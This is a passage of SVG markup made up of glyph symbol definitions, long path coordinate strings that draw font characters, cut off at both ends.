-11.578125 C 4.988281 -11.921875 4.570312 -12.09375 4 -12.09375 C 3.664062 -12.09375 3.320312 -12.015625 2.96875 -11.859375 C 2.625 -11.710938 2.332031 -11.53125 2.09375 -11.3125 L 1.1875 -13.0625 C 1.625 -13.4375 2.117188 -13.734375 2.671875 -13.953125 C 3.234375 -14.171875 3.894531 -14.28125 4.65625 -14.28125 C 5.132812 -14.28125 5.582031 -14.203125 6 -14.046875 C 6.414062 -13.890625 6.769531 -13.660156 7.0625 -13.359375 C 7.363281 -13.054688 7.601562 -12.675781 7.78125 -12.21875 C 7.957031 -11.769531 8.046875 -11.242188 8.046875 -10.640625 Z M 8.046875 -10.640625"/></symbol><symbol overflow="visible" id="L"><path d="M 8.84375 -0.5625 C 8.488281 -0.269531 8.019531 -0.0546875 7.4375 0.078125 C 6.863281 0.210938 6.289062 0.28125 5.71875 0.28125 C 5 0.28125 4.328125 0.160156 3.703125 -0.078125 C 3.085938 -0.328125 2.546875 -0.738281 2.078125 -1.3125 C 1.609375 -1.894531 1.238281 -2.648438 0.96875 -3.578125 C 0.707031 -4.515625 0.578125 -5.660156 0.578125 -7.015625 C 0.578125 -8.429688 0.726562 -9.601562 1.03125 -10.53125 C 1.332031 -11.46875 1.722656 -12.210938 2.203125 -12.765625 C 2.691406 -13.316406 3.25 -13.707031 3.875 -13.9375 C 4.5 -14.164062 5.132812 -14.28125 5.78125 -14.28125 C 6.4375 -14.28125 7.003906 -14.222656 7.484375 -14.109375 C 7.972656 -14.003906 8.375 -13.890625 8.6875 -13.765625 L 8.1875 -11.546875 C 7.925781 -11.671875 7.625 -11.769531 7.28125 -11.84375 C 6.945312 -11.914062 6.546875 -11.953125 6.078125 -11.953125 C 5.160156 -11.953125 4.453125 -11.550781 3.953125 -10.75 C 3.460938 -9.957031 3.21875 -8.707031 3.21875 -7 C 3.21875 -6.269531 3.273438 -5.597656 3.390625 -4.984375 C 3.503906 -4.378906 3.679688 -3.859375 3.921875 -3.421875 C 4.171875 -2.984375 4.484375 -2.644531 4.859375 -2.40625 C 5.242188 -2.164062 5.703125 -2.046875 6.234375 -2.046875 C 6.703125 -2.046875 7.101562 -2.109375 7.4375 -2.234375 C 7.769531 -2.359375 8.070312 -2.507812 8.34375 -2.6875 Z M 8.84375 -0.5625"/></symbol><symbol overflow="visible" id="M"><path d="M 0.078125 -10 L 1.1875 -10 L 1.1875 -11.875 L 3.5625 -12.625 L 3.5625 -10 L 5.5 -10 L 5.5 -7.875 L 3.5625 -7.875 L 3.5625 -3.515625 C 3.5625 -2.941406 3.617188 -2.535156 3.734375 -2.296875 C 3.847656 -2.054688 4.050781 -1.9375 4.34375 -1.9375 C 4.539062 -1.9375 4.71875 -1.957031 4.875 -2 C 5.039062 -2.039062 5.21875 -2.101562 5.40625 -2.1875 L 5.703125 -0.28125 C 5.410156 -0.132812 5.066406 -0.015625 4.671875 0.078125 C 4.285156 0.179688 3.878906 0.234375 3.453125 0.234375 C 2.691406 0.234375 2.125 0.015625 1.75 -0.421875 C 1.375 -0.859375 1.1875 -1.597656 1.1875 -2.640625 L 1.1875 -7.875 L 0.078125 -7.875 Z M 0.078125 -10"/></symbol><symbol overflow="visible" id="N"><path d="M 4.0625 -4.375 L 4.3125 -2.8125 L 4.421875 -2.8125 L 4.59375 -4.40625 L 5.765625 -10 L 8.203125 -10 L 5.703125 -0.984375 C 5.472656 -0.191406 5.257812 0.515625 5.0625 1.140625 C 4.863281 1.765625 4.648438 2.296875 4.421875 2.734375 C 4.191406 3.179688 3.929688 3.519531 3.640625 3.75 C 3.359375 3.976562 3.019531 4.09375 2.625 4.09375 C 2.34375 4.09375 2.070312 4.066406 1.8125 4.015625 C 1.550781 3.972656 1.328125 3.898438 1.140625 3.796875 L 1.546875 1.765625 C 1.710938 1.828125 1.882812 1.851562 2.0625 1.84375 C 2.25 1.84375 2.414062 1.773438 2.5625 1.640625 C 2.71875 1.515625 2.851562 1.316406 2.96875 1.046875 C 3.09375 0.785156 3.195312 0.4375 3.28125 0 L -0.203125 -10 L 2.65625 -10 Z M 4.0625 -4.375"/></symbol><symbol overflow="visible" id="O"><path d="M 0.421875 -2.3125 L 5.09375 -10.859375 L 5.9375 -11.6875 L 0.421875 -11.6875 L 0.421875 -14 L 8.484375 -14 L 8.484375 -11.6875 L 3.78125 -3.078125 L 2.953125 -2.3125 L 8.484375 -2.3125 L 8.484375 0 L 0.421875 0 Z M 0.421875 -2.3125"/></symbol><symbol overflow="visible" id="P"><path d="M 1.125 -14 L 3.640625 -14 L 3.640625 0 L 1.125 0 Z M 1.125 -14"/></symbol><symbol overflow="visible" id="Q"><path d="M 0.90625 -13.859375 C 1.382812 -13.960938 1.910156 -14.046875 2.484375 -14.109375 C 3.054688 -14.171875 3.628906 -14.203125 4.203125 -14.203125 C 4.816406 -14.203125 5.421875 -14.144531 6.015625 -14.03125 C 6.609375 -13.914062 7.132812 -13.691406 7.59375 -13.359375 C 8.0625 -13.023438 8.441406 -12.554688 8.734375 -11.953125 C 9.035156 -11.347656 9.1875 -10.554688 9.1875 -9.578125 C 9.1875 -8.703125 9.0625 -7.957031 8.8125 -7.34375 C 8.5625 -6.726562 8.226562 -6.226562 7.8125 -5.84375 C 7.40625 -5.457031 6.929688 -5.175781 6.390625 -5 C 5.847656 -4.820312 5.289062 -4.734375 4.71875 -4.734375 C 4.664062 -4.734375 4.578125 -4.734375 4.453125 -4.734375 C 4.335938 -4.734375 4.210938 -4.738281 4.078125 -4.75 C 3.941406 -4.757812 3.8125 -4.769531 3.6875 -4.78125 C 3.5625 -4.789062 3.472656 -4.800781 3.421875 -4.8125 L 3.421875 0 L 0.90625 0 Z M 3.421875 -7.078125 C 3.503906 -7.054688 3.65625 -7.035156 3.875 -7.015625 C 4.09375 -6.992188 4.238281 -6.984375 4.3125 -6.984375 C 4.613281 -6.984375 4.894531 -7.019531 5.15625 -7.09375 C 5.425781 -7.175781 5.664062 -7.3125 5.875 -7.5 C 6.082031 -7.695312 6.242188 -7.960938 6.359375 -8.296875 C 6.484375 -8.640625 6.546875 -9.070312 6.546875 -9.59375 C 6.546875 -10.039062 6.488281 -10.414062 6.375 -10.71875 C 6.257812 -11.03125 6.101562 -11.273438 5.90625 -11.453125 C 5.71875 -11.628906 5.492188 -11.753906 5.234375 -11.828125 C 4.984375 -11.910156 4.71875 -11.953125 4.4375 -11.953125 C 4.019531 -11.953125 3.679688 -11.921875 3.421875 -11.859375 Z M 3.421875 -7.078125"/></symbol><symbol overflow="visible" id="R"><path d="M 0.5 -5 C 0.5 -6.769531 0.84375 -8.085938 1.53125 -8.953125 C 2.226562 -9.828125 3.195312 -10.265625 4.4375 -10.265625 C 5.769531 -10.265625 6.765625 -9.820312 7.421875 -8.9375 C 8.078125 -8.0625 8.40625 -6.75 8.40625 -5 C 8.40625 -3.207031 8.054688 -1.878906 7.359375 -1.015625 C 6.660156 -0.160156 5.6875 0.265625 4.4375 0.265625 C 1.8125 0.265625 0.5 -1.488281 0.5 -5 Z M 2.953125 -5 C 2.953125 -4 3.066406 -3.222656 3.296875 -2.671875 C 3.523438 -2.128906 3.90625 -1.859375 4.4375 -1.859375 C 4.945312 -1.859375 5.320312 -2.09375 5.5625 -2.5625 C 5.8125 -3.039062 5.9375 -3.851562 5.9375 -5 C 5.9375 -6.03125 5.820312 -6.8125 5.59375 -7.34375 C 5.375 -7.875 4.988281 -8.140625 4.4375 -8.140625 C 3.96875 -8.140625 3.601562 -7.898438 3.34375 -7.421875 C 3.082031 -6.953125 2.953125 -6.144531 2.953125 -5 Z M 2.953125 -5"/></symbol><symbol overflow="visible" id="S"><path d="M 5.796875 -3.59375 C 5.796875 -4.019531 5.671875 -4.382812 5.421875 -4.6875 C 5.171875 -4.988281 4.851562 -5.269531 4.46875 -5.53125 C 4.09375 -5.800781 3.679688 -6.078125 3.234375 -6.359375 C 2.785156 -6.640625 2.367188 -6.96875 1.984375 -7.34375 C 1.609375 -7.71875 1.289062 -8.15625 1.03125 -8.65625 C 0.78125 -9.164062 0.65625 -9.785156 0.65625 -10.515625 C 0.65625 -11.203125 0.757812 -11.78125 0.96875 -12.25 C 1.175781 -12.71875 1.457031 -13.101562 1.8125 -13.40625 C 2.175781 -13.707031 2.601562 -13.925781 3.09375 -14.0625 C 3.59375 -14.207031 4.125 -14.28125 4.6875 -14.28125 C 5.363281 -14.28125 5.992188 -14.210938 6.578125 -14.078125 C 7.160156 -13.941406 7.648438 -13.765625 8.046875 -13.546875 L 7.265625 -11.3125 C 7.035156 -11.476562 6.695312 -11.625 6.25 -11.75 C 5.800781 -11.882812 5.316406 -11.953125 4.796875 -11.953125 C 4.273438 -11.953125 3.875 -11.84375 3.59375 -11.625 C 3.320312 -11.414062 3.1875 -11.109375 3.1875 -10.703125 C 3.1875 -10.328125 3.3125 -9.992188 3.5625 -9.703125 C 3.8125 -9.421875 4.125 -9.144531 4.5 -8.875 C 4.882812 -8.613281 5.300781 -8.335938 5.75 -8.046875 C 6.195312 -7.765625 6.609375 -7.429688 6.984375 -7.046875 C 7.367188 -6.671875 7.6875 -6.222656 7.9375 -5.703125 C 8.1875 -5.191406 8.3125 -4.582031 8.3125 -3.875 C 8.3125 -3.164062 8.207031 -2.550781 8 -2.03125 C 7.800781 -1.519531 7.507812 -1.09375 7.125 -0.75 C 6.75 -0.40625 6.289062 -0.148438 5.75 0.015625 C 5.21875 0.191406 4.628906 0.28125 3.984375 0.28125 C 3.148438 0.28125 2.421875 0.195312 1.796875 0.03125 C 1.179688 -0.125 0.707031 -0.300781 0.375 -0.5 L 1.203125 -2.765625 C 1.460938 -2.597656 1.828125 -2.4375 2.296875 -2.28125 C 2.765625 -2.125 3.265625 -2.046875 3.796875 -2.046875 C 5.128906 -2.046875 5.796875 -2.5625 5.796875 -3.59375 Z M 5.796875 -3.59375"/></symbol><symbol overflow="visible" id="T"><path d="M 0.875 -9.40625 C 1.28125 -9.644531 1.78125 -9.835938 2.375 -9.984375 C 2.976562 -10.128906 3.660156 -10.203125 4.421875 -10.203125 C 5.554688 -10.203125 6.34375 -9.90625 6.78125 -9.3125 C 7.226562 -8.726562 7.453125 -7.894531 7.453125 -6.8125 C 7.453125 -6.1875 7.4375 -5.570312 7.40625 -4.96875 C 7.375 -4.363281 7.347656 -3.769531 7.328125 -3.1875 C 7.316406 -2.601562 7.328125 -2.039062 7.359375 -1.5 C 7.398438 -0.96875 7.492188 -0.460938 7.640625 0.015625 L 5.703125 0.015625 L 5.3125 -1.203125 L 5.234375 -1.203125 C 5.023438 -0.816406 4.726562 -0.492188 4.34375 -0.234375 C 3.957031 0.015625 3.46875 0.140625 2.875 0.140625 C 2.09375 0.140625 1.472656 -0.117188 1.015625 -0.640625 C 0.566406 -1.171875 0.34375 -1.878906 0.34375 -2.765625 C 0.34375 -3.960938 0.769531 -4.8125 1.625 -5.3125 C 2.476562 -5.820312 3.628906 -6.035156 5.078125 -5.953125 C 5.148438 -6.734375 5.101562 -7.296875 4.9375 -7.640625 C 4.769531 -7.984375 4.410156 -8.15625 3.859375 -8.15625 C 3.460938 -8.15625 3.050781 -8.109375 2.625 -8.015625 C 2.195312 -7.921875 1.816406 -7.789062 1.484375 -7.625 Z M 3.734375 -1.90625 C 4.097656 -1.90625 4.390625 -1.992188 4.609375 -2.171875 C 4.835938 -2.347656 5.007812 -2.546875 5.125 -2.765625 L 5.125 -4.421875 C 4.8125 -4.460938 4.515625 -4.46875 4.234375 -4.4375 C 3.953125 -4.414062 3.707031 -4.359375 3.5 -4.265625 C 3.289062 -4.171875 3.117188 -4.03125 2.984375 -3.84375 C 2.859375 -3.664062 2.796875 -3.4375 2.796875 -3.15625 C 2.796875 -2.75 2.878906 -2.4375 3.046875 -2.21875 C 3.210938 -2.007812 3.441406 -1.90625 3.734375 -1.90625 Z M 3.734375 -1.90625"/></symbol><symbol overflow="visible" id="k"><path d="M 1.0625 -1.671875 C 1.289062 -1.515625 1.609375 -1.367188 2.015625 -1.234375 C 2.429688 -1.097656 2.90625 -1.03125 3.4375 -1.03125 C 4.113281 -1.03125 4.660156 -1.191406 5.078125 -1.515625 C 5.492188 -1.847656 5.703125 -2.367188 5.703125 -3.078125 C 5.703125 -3.546875 5.582031 -3.953125 5.34375 -4.296875 C 5.101562 -4.648438 4.800781 -4.972656 4.4375 -5.265625 C 4.082031 -5.554688 3.695312 -5.84375 3.28125 -6.125 C 2.863281 -6.40625 2.472656 -6.71875 2.109375 -7.0625 C 1.753906 -7.40625 1.457031 -7.796875 1.21875 -8.234375 C 0.976562 -8.679688 0.859375 -9.21875 0.859375 -9.84375 C 0.859375 -10.851562 1.160156 -11.597656 1.765625 -12.078125 C 2.378906 -12.566406 3.171875 -12.8125 4.140625 -12.8125 C 4.742188 -12.8125 5.273438 -12.753906 5.734375 -12.640625 C 6.203125 -12.535156 6.582031 -12.398438 6.875 -12.234375 L 6.4375 -11.046875 C 6.226562 -11.179688 5.921875 -11.300781 5.515625 -11.40625 C 5.109375 -11.519531 4.644531 -11.578125 4.125 -11.578125 C 3.476562 -11.578125 3 -11.414062 2.6875 -11.09375 C 2.375 -10.78125 2.21875 -10.382812 2.21875 -9.90625 C 2.21875 -9.476562 2.335938 -9.101562 2.578125 -8.78125 C 2.816406 -8.457031 3.113281 -8.148438 3.46875 -7.859375 C 3.832031 -7.578125 4.21875 -7.285156 4.625 -6.984375 C 5.039062 -6.691406 5.429688 -6.363281 5.796875 -6 C 6.160156 -5.644531 6.460938 -5.238281 6.703125 -4.78125 C 6.941406 -4.332031 7.0625 -3.796875 7.0625 -3.171875 C 7.0625 -2.109375 6.75 -1.273438 6.125 -0.671875 C 5.5 -0.078125 4.613281 0.21875 3.46875 0.21875 C 2.75 0.21875 2.160156 0.148438 1.703125 0.015625 C 1.242188 -0.117188 0.875 -0.269531 0.59375 -0.4375 Z M 1.0625 -1.671875"/></symbol><symbol overflow="visible" id="l"><path d="M 0.15625 -9 L 1.265625 -9 L 1.265625 -10.78125 L 2.5625 -11.203125 L 2.5625 -9 L 4.5 -9 L 4.5 -7.828125 L 2.5625 -7.828125 L 2.5625 -2.46875 C 2.5625 -1.9375 2.625 -1.550781 2.75 -1.3125 C 2.875 -1.082031 3.078125 -0.96875 3.359375 -0.96875 C 3.597656 -0.96875 3.804688 -0.992188 3.984375 -1.046875 C 4.160156 -1.109375 4.347656 -1.179688 4.546875 -1.265625 L 4.8125 -0.234375 C 4.539062 -0.0976562 4.242188 0.00390625 3.921875 0.078125 C 3.609375 0.160156 3.28125 0.203125 2.9375 0.203125 C 2.332031 0.203125 1.898438 0.0078125 1.640625 -0.375 C 1.390625 -0.769531 1.265625 -1.40625 1.265625 -2.28125 L 1.265625 -7.828125 L 0.15625 -7.828125 Z M 0.15625 -9"/></symbol><symbol overflow="visible" id="m"><path d="M 1.0625 -9 L 1.984375 -9 L 2.21875 -8.046875 L 2.265625 -8.046875 C 2.429688 -8.390625 2.648438 -8.660156 2.921875 -8.859375 C 3.191406 -9.054688 3.519531 -9.15625 3.90625 -9.15625 C 4.175781 -9.15625 4.488281 -9.101562 4.84375 -9 L 4.59375 -7.6875 C 4.28125 -7.789062 4.003906 -7.84375 3.765625 -7.84375 C 3.378906 -7.84375 3.066406 -7.734375 2.828125 -7.515625 C 2.585938 -7.296875 2.429688 -7 2.359375 -6.625 L 2.359375 0 L 1.0625 0 Z M 1.0625 -9"/></symbol><symbol overflow="visible" id="n"><path d="M 6.4375 -0.609375 C 6.15625 -0.347656 5.789062 -0.144531 5.34375 0 C 4.90625 0.144531 4.4375 0.21875 3.9375 0.21875 C 3.375 0.21875 2.882812 0.109375 2.46875 -0.109375 C 2.0625 -0.335938 1.722656 -0.65625 1.453125 -1.0625 C 1.179688 -1.476562 0.984375 -1.972656 0.859375 -2.546875 C 0.734375 -3.128906 0.671875 -3.78125 0.671875 -4.5 C 0.671875 -6.03125 0.953125 -7.195312 1.515625 -8 C 2.078125 -8.8125 2.875 -9.21875 3.90625 -9.21875 C 4.238281 -9.21875 4.570312 -9.175781 4.90625 -9.09375 C 5.238281 -9.007812 5.535156 -8.835938 5.796875 -8.578125 C 6.054688 -8.328125 6.265625 -7.972656 6.421875 -7.515625 C 6.585938 -7.066406 6.671875 -6.472656 6.671875 -5.734375 C 6.671875 -5.535156 6.660156 -5.316406 6.640625 -5.078125 C 6.628906 -4.847656 6.613281 -4.609375 6.59375 -4.359375 L 2.015625 -4.359375 C 2.015625 -3.835938 2.054688 -3.367188 2.140625 -2.953125 C 2.222656 -2.535156 2.351562 -2.175781 2.53125 -1.875 C 2.71875 -1.582031 2.953125 -1.351562 3.234375 -1.1875 C 3.515625 -1.03125 3.863281 -0.953125 4.28125 -0.953125 C 4.601562 -0.953125 4.921875 -1.007812 5.234375 -1.125 C 5.554688 -1.25 5.800781 -1.394531 5.96875 -1.5625 Z M 5.4375 -5.4375 C 5.457031 -6.332031 5.328125 -6.988281 5.046875 -7.40625 C 4.773438 -7.832031 4.398438 -8.046875 3.921875 -8.046875 C 3.367188 -8.046875 2.929688 -7.832031 2.609375 -7.40625 C 2.285156 -6.988281 2.09375 -6.332031 2.03125 -5.4375 Z M 5.4375 -5.4375"/></symbol><symbol overflow="visible" id="p"><path d="M 0.96875 -8.453125 C 1.320312 -8.671875 1.742188 -8.835938 2.234375 -8.953125 C 2.734375 -9.078125 3.257812 -9.140625 3.8125 -9.140625 C 4.320312 -9.140625 4.726562 -9.0625 5.03125 -8.90625 C 5.332031 -8.757812 5.570312 -8.554688 5.75 -8.296875 C 5.925781 -8.046875 6.039062 -7.753906 6.09375 -7.421875 C 6.144531 -7.097656 6.171875 -6.753906 6.171875 -6.390625 C 6.171875 -5.671875 6.15625 -4.96875 6.125 -4.28125 C 6.09375 -3.601562 6.078125 -2.957031 6.078125 -2.34375 C 6.078125 -1.882812 6.09375 -1.457031 6.125 -1.0625 C 6.15625 -0.675781 6.210938 -0.3125 6.296875 0.03125 L 5.3125 0.03125 L 5 -1.03125 L 4.9375 -1.03125 C 4.75 -0.71875 4.484375 -0.445312 4.140625 -0.21875 C 3.796875 0.0078125 3.328125 0.125 2.734375 0.125 C 2.085938 0.125 1.554688 -0.0976562 1.140625 -0.546875 C 0.722656 -0.992188 0.515625 -1.613281 0.515625 -2.40625 C 0.515625 -2.925781 0.601562 -3.359375 0.78125 -3.703125 C 0.957031 -4.054688 1.203125 -4.335938 1.515625 -4.546875 C 1.835938 -4.765625 2.21875 -4.914062 2.65625 -5 C 3.09375 -5.09375 3.582031 -5.140625 4.125 -5.140625 C 4.238281 -5.140625 4.351562 -5.140625 4.46875 -5.140625 C 4.59375 -5.140625 4.722656 -5.132812 4.859375 -5.125 C 4.890625 -5.5 4.90625 -5.832031 4.90625 -6.125 C 4.90625 -6.800781 4.800781 -7.273438 4.59375 -7.546875 C 4.394531 -7.828125 4.023438 -7.96875 3.484375 -7.96875 C 3.148438 -7.96875 2.785156 -7.914062 2.390625 -7.8125 C 1.992188 -7.71875 1.664062 -7.59375 1.40625 -7.4375 Z M 4.875 -4.109375 C 4.757812 -4.117188 4.640625 -4.125 4.515625 -4.125 C 4.398438 -4.132812 4.28125 -4.140625 4.15625 -4.140625 C 3.863281 -4.140625 3.578125 -4.113281 3.296875 -4.0625 C 3.023438 -4.019531 2.78125 -3.9375 2.5625 -3.8125 C 2.351562 -3.695312 2.1875 -3.535156 2.0625 -3.328125 C 1.9375 -3.128906 1.875 -2.875 1.875 -2.5625 C 1.875 -2.082031 1.988281 -1.707031 2.21875 -1.4375 C 2.457031 -1.175781 2.757812 -1.046875 3.125 -1.046875 C 3.632812 -1.046875 4.023438 -1.164062 4.296875 -1.40625 C 4.578125 -1.644531 4.769531 -1.910156 4.875 -2.203125 Z M 4.875 -4.109375"/></symbol><symbol overflow="visible" id="q"><path d="M 6.734375 -3.09375 C 6.734375 -2.476562 6.738281 -1.921875 6.75 -1.421875 C 6.757812 -0.929688 6.800781 -0.445312 6.875 0.03125 L 6 0.03125 L 5.703125 -1.046875 L 5.640625 -1.046875 C 5.460938 -0.679688 5.191406 -0.378906 4.828125 -0.140625 C 4.472656 0.0976562 4.046875 0.21875 3.546875 0.21875 C 2.578125 0.21875 1.851562 -0.15625 1.375 -0.90625 C 0.90625 -1.664062 0.671875 -2.859375 0.671875 -4.484375 C 0.671875 -6.015625 0.957031 -7.175781 1.53125 -7.96875 C 2.113281 -8.757812 2.914062 -9.15625 3.9375 -9.15625 C 4.289062 -9.15625 4.566406 -9.132812 4.765625 -9.09375 C 4.972656 -9.050781 5.195312 -8.984375 5.4375 -8.890625 L 5.4375 -12.59375 L 6.734375 -12.59375 Z M 5.4375 -7.578125 C 5.269531 -7.722656 5.078125 -7.828125 4.859375 -7.890625 C 4.648438 -7.953125 4.375 -7.984375 4.03125 -7.984375 C 3.394531 -7.984375 2.898438 -7.695312 2.546875 -7.125 C 2.191406 -6.550781 2.015625 -5.664062 2.015625 -4.46875 C 2.015625 -3.9375 2.046875 -3.457031 2.109375 -3.03125 C 2.179688 -2.601562 2.285156 -2.234375 2.421875 -1.921875 C 2.554688 -1.609375 2.734375 -1.367188 2.953125 -1.203125 C 3.179688 -1.035156 3.457031 -0.953125 3.78125 -0.953125 C 4.644531 -0.953125 5.195312 -1.460938 5.4375 -2.484375 Z M 5.4375 -7.578125"/></symbol><symbol overflow="visible" id="r"><path d="M 0.921875 -1.46875 C 1.160156 -1.332031 1.441406 -1.210938 1.765625 -1.109375 C 2.097656 -1.003906 2.441406 -0.953125 2.796875 -0.953125 C 3.191406 -0.953125 3.523438 -1.050781 3.796875 -1.25 C 4.078125 -1.445312 4.21875 -1.769531 4.21875 -2.21875 C 4.21875 -2.582031 4.128906 -2.882812 3.953125 -3.125 C 3.785156 -3.363281 3.570312 -3.578125 3.3125 -3.765625 C 3.0625 -3.960938 2.785156 -4.140625 2.484375 -4.296875 C 2.179688 -4.460938 1.898438 -4.660156 1.640625 -4.890625 C 1.390625 -5.117188 1.175781 -5.390625 1 -5.703125 C 0.832031 -6.015625 0.75 -6.410156 0.75 -6.890625 C 0.75 -7.660156 0.957031 -8.238281 1.375 -8.625 C 1.789062 -9.019531 2.375 -9.21875 3.125 -9.21875 C 3.625 -9.21875 4.050781 -9.171875 4.40625 -9.078125 C 4.769531 -8.992188 5.082031 -8.875 5.34375 -8.71875 L 5 -7.625 C 4.769531 -7.75 4.503906 -7.847656 4.203125 -7.921875 C 3.910156 -8.003906 3.609375 -8.046875 3.296875 -8.046875 C 2.859375 -8.046875 2.539062 -7.953125 2.34375 -7.765625 C 2.144531 -7.585938 2.046875 -7.3125 2.046875 -6.9375 C 2.046875 -6.632812 2.128906 -6.375 2.296875 -6.15625 C 2.472656 -5.945312 2.6875 -5.753906 2.9375 -5.578125 C 3.195312 -5.410156 3.476562 -5.234375 3.78125 -5.046875 C 4.082031 -4.867188 4.359375 -4.65625 4.609375 -4.40625 C 4.867188 -4.164062 5.082031 -3.875 5.25 -3.53125 C 5.425781 -3.195312 5.515625 -2.769531 5.515625 -2.25 C 5.515625 -1.914062 5.457031 -1.597656 5.34375 -1.296875 C 5.238281 -0.992188 5.070312 -0.734375 4.84375 -0.515625 C 4.625 -0.296875 4.347656 -0.117188 4.015625 0.015625 C 3.691406 0.148438 3.304688 0.21875 2.859375 0.21875 C 2.328125 0.21875 1.867188 0.164062 1.484375 0.0625 C 1.109375 -0.0390625 0.785156 -0.175781 0.515625 -0.34375 Z M 0.921875 -1.46875"/></symbol><symbol overflow="visible" id="s"><path d="M 0.640625 -0.78125 C 0.640625 -1.070312 0.726562 -1.304688 0.90625 -1.484375 C 1.082031 -1.671875 1.304688 -1.765625 1.578125 -1.765625 C 1.890625 -1.765625 2.144531 -1.640625 2.34375 -1.390625 C 2.539062 -1.140625 2.640625 -0.742188 2.640625 -0.203125 C 2.640625 0.191406 2.585938 0.546875 2.484375 0.859375 C 2.390625 1.179688 2.257812 1.460938 2.09375 1.703125 C 1.9375 1.941406 1.757812 2.140625 1.5625 2.296875 C 1.375 2.453125 1.191406 2.566406 1.015625 2.640625 L 0.5625 2.03125 C 0.71875 1.945312 0.863281 1.835938 1 1.703125 C 1.132812 1.566406 1.242188 1.410156 1.328125 1.234375 C 1.421875 1.066406 1.492188 0.890625 1.546875 0.703125 C 1.597656 0.523438 1.625 0.34375 1.625 0.15625 C 1.382812 0.226562 1.160156 0.179688 0.953125 0.015625 C 0.742188 -0.148438 0.640625 -0.414062 0.640625 -0.78125 Z M 0.640625 -0.78125"/></symbol><symbol overflow="visible" id="t"><path d="M 1.15625 -12.46875 C 1.539062 -12.582031 1.945312 -12.65625 2.375 -12.6875 C 2.8125 -12.726562 3.238281 -12.75 3.65625 -12.75 C 4.132812 -12.75 4.609375 -12.691406 5.078125 -12.578125 C 5.546875 -12.472656 5.96875 -12.273438 6.34375 -11.984375 C 6.71875 -11.703125 7.019531 -11.304688 7.25 -10.796875 C 7.488281 -10.296875 7.609375 -9.65625 7.609375 -8.875 C 7.609375 -8.113281 7.5 -7.46875 7.28125 -6.9375 C 7.0625 -6.414062 6.765625 -5.988281 6.390625 -5.65625 C 6.023438 -5.332031 5.601562 -5.09375 5.125 -4.9375 C 4.65625 -4.789062 4.171875 -4.71875 3.671875 -4.71875 C 3.617188 -4.71875 3.539062 -4.71875 3.4375 -4.71875 C 3.332031 -4.71875 3.21875 -4.71875 3.09375 -4.71875 C 2.976562 -4.726562 2.863281 -4.738281 2.75 -4.75 C 2.632812 -4.757812 2.550781 -4.769531 2.5 -4.78125 L 2.5 0 L 1.15625 0 Z M 3.71875 -11.5 C 3.476562 -11.5 3.25 -11.488281 3.03125 -11.46875 C 2.8125 -11.457031 2.632812 -11.429688 2.5 -11.390625 L 2.5 -6.03125 C 2.550781 -6.007812 2.625 -5.992188 2.71875 -5.984375 C 2.820312 -5.972656 2.925781 -5.960938 3.03125 -5.953125 C 3.144531 -5.953125 3.253906 -5.953125 3.359375 -5.953125 C 3.460938 -5.953125 3.535156 -5.953125 3.578125 -5.953125 C 3.921875 -5.953125 4.242188 -5.992188 4.546875 -6.078125 C 4.859375 -6.160156 5.132812 -6.3125 5.375 -6.53125 C 5.613281 -6.757812 5.804688 -7.0625 5.953125 -7.4375 C 6.109375 -7.820312 6.1875 -8.300781 6.1875 -8.875 C 6.1875 -9.375 6.117188 -9.789062 5.984375 -10.125 C 5.847656 -10.46875 5.664062 -10.738281 5.4375 -10.9375 C 5.21875 -11.144531 4.957031 -11.289062 4.65625 -11.375 C 4.363281 -11.457031 4.050781 -11.5 3.71875 -11.5 Z M 3.71875 -11.5"/></symbol><symbol overflow="visible" id="u"><path d="M 0.703125 -0.8125 C 0.703125 -1.144531 0.78125 -1.394531 0.9375 -1.5625 C 1.101562 -1.726562 1.328125 -1.8125 1.609375 -1.8125 C 1.878906 -1.8125 2.09375 -1.726562 2.25 -1.5625 C 2.414062 -1.394531 2.5 -1.144531 2.5 -0.8125 C 2.5 -0.457031 2.414062 -0.195312 2.25 -0.03125 C 2.09375 0.132812 1.878906 0.21875 1.609375 0.21875 C 1.328125 0.21875 1.101562 0.132812 0.9375 -0.03125 C 0.78125 -0.195312 0.703125 -0.457031 0.703125 -0.8125 Z M 0.703125 -0.8125"/></symbol><symbol overflow="visible" id="v"><path d="M 0.78125 -6.296875 C 0.78125 -8.429688 1.117188 -10.050781 1.796875 -11.15625 C 2.484375 -12.257812 3.53125 -12.8125 4.9375 -12.8125 C 5.6875 -12.8125 6.328125 -12.65625 6.859375 -12.34375 C 7.390625 -12.039062 7.816406 -11.609375 8.140625 -11.046875 C 8.472656 -10.484375 8.71875 -9.800781 8.875 -9 C 9.03125 -8.195312 9.109375 -7.296875 9.109375 -6.296875 C 9.109375 -4.160156 8.757812 -2.539062 8.0625 -1.4375 C 7.375 -0.332031 6.332031 0.21875 4.9375 0.21875 C 4.1875 0.21875 3.546875 0.0664062 3.015625 -0.234375 C 2.492188 -0.546875 2.0625 -0.984375 1.71875 -1.546875 C 1.382812 -2.109375 1.144531 -2.789062 1 -3.59375 C 0.851562 -4.40625 0.78125 -5.304688 0.78125 -6.296875 Z M 2.203125 -6.296875 C 2.203125 -5.585938 2.25 -4.914062 2.34375 -4.28125 C 2.445312 -3.644531 2.609375 -3.085938 2.828125 -2.609375 C 3.046875 -2.128906 3.328125 -1.742188 3.671875 -1.453125 C 4.015625 -1.171875 4.4375 -1.03125 4.9375 -1.03125 C 5.832031 -1.03125 6.515625 -1.460938 6.984375 -2.328125 C 7.453125 -3.191406 7.6875 -4.515625 7.6875 -6.296875 C 7.6875 -6.992188 7.632812 -7.660156 7.53125 -8.296875 C 7.425781 -8.929688 7.265625 -9.488281 7.046875 -9.96875 C 6.835938 -10.457031 6.554688 -10.847656 6.203125 -11.140625 C 5.859375 -11.429688 5.4375 -11.578125 4.9375 -11.578125 C 4.039062 -11.578125 3.359375 -11.144531 2.890625 -10.28125 C 2.429688 -9.414062 2.203125 -8.085938 2.203125 -6.296875 Z M 2.203125 -6.296875"/></symbol><symbol overflow="visible" id="w"><path d="M 1.0625 -12.59375 L 2.359375 -12.59375 L 2.359375 -8.3125 L 2.40625 -8.3125 C 2.90625 -8.914062 3.5625 -9.21875 4.375 -9.21875 C 5.300781 -9.21875 5.992188 -8.847656 6.453125 -8.109375 C 6.910156 -7.378906 7.140625 -6.222656 7.140625 -4.640625 C 7.140625 -3.023438 6.832031 -1.820312 6.21875 -1.03125 C 5.601562 -0.238281 4.726562 0.15625 3.59375 0.15625 C 3.039062 0.15625 2.535156 0.09375 2.078125 -0.03125 C 1.628906 -0.15625 1.289062 -0.300781 1.0625 -0.46875 Z M 2.359375 -1.3125 C 2.523438 -1.21875 2.726562 -1.144531 2.96875 -1.09375 C 3.21875 